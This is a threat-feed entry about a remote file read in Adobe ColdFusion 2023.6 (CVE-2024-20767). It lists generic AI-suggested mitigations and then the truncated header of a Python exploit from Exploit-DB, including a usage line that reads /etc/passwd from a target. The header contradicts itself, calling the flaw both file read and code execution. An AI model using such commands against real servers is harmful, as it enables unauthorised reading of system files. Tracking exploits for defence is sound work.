Adobe ColdFusion 2023.6 · Remote File Read
Source Exploit-DB RSS Feed
Rated by Threat Radar
Data as of 25 Oct 2025, 10:06 UTC
What to do
AI-suggested
1. Immediately inventory all Adobe ColdFusion 2023.6 instances within the organization to identify exposed systems. 2. Restrict network access to ColdFusion administrative and web application interfaces using firewalls, VPNs, or IP whitelisting to limit exposure to trusted users only. 3. Monitor web server and application logs for unusual file access patterns or attempts to read sensitive files remotely. 4. Implement web application firewalls (WAFs) with custom rules to detect and block suspicious requests targeting file read vectors specific to ColdFusion. 5. Until official patches are released, consider disabling or restricting features and components known to be vulnerable or not essential for operation. 6. Educate development and operations teams about secure coding practices and input validation to prevent similar vulnerabilities. 7. Plan and test deployment of vendor patches promptly once available to remediate the vulnerability definitively. 8. Conduct regular vulnerability scans and penetration tests focusing on ColdFusion instances to detect potential exploitation attempts early.
Description
Adobe ColdFusion 2023.6 - Remote File Read
Indicators of compromise
Exploit source code
# Exploit Title: Adobe ColdFusion 2023.6 - Remote File Read
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: ColdFusion 2023 (LUcee) - Remote Code Execution
# CVE: CVE-2024-20767
# Vendor Homepage: https://www.adobe.com/
# Requirements: requests>=2.25.0, urllib3>=1.26.0
# Usage: python3 CVE-2024-20767.py -u http://target.com -f /etc/passwd
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import urllib3
import requests
impor…